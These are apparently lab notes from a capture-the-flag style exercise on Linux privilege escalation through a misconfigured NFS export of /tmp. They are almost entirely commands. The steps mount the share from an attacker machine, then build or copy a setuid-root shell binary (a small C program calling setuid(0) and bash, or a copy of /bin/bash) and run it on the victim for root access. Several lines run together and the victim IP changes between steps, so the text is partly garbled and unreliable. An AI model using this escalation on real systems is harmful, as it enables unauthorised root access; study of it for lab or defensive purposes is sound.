check:
cat /etc/exportsthis means that the /tmp folder is shareable and can be mounted so we can mount it!
how?
on Kali:
showmount -e 10.10.231.117this is the victim machine IP
we can mount /tmp
make directory:
mkdir /tmp/mountmesudo mount -v -o rw,vers=3 10.10.221.115:/tmp /tmp/mountmeOn Victim: (This isn’t working, alternative at the bottom)
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/x.cgcc x.c -o xcompile:
gcc /tmp/mountme/x.c -o /tmp/mountme/xadd perms:
sudo chown root:root /tmp/mountme/xsudo chmod +s /tmp/mountme/xOn the ssh tmp folder:
/tmp/xAlternative (bash, no compile):
on victim:
cp /bin/bash /tmp/bashon Kali:
sudo mount -v -o rw,vers=3 10.10.221.115:/tmp /tmp/mountmesudo chown root:root /tmp/mountme/bashsudo chmod +s /tmp/mountme/bashOn Victim:
/tmp/bash -p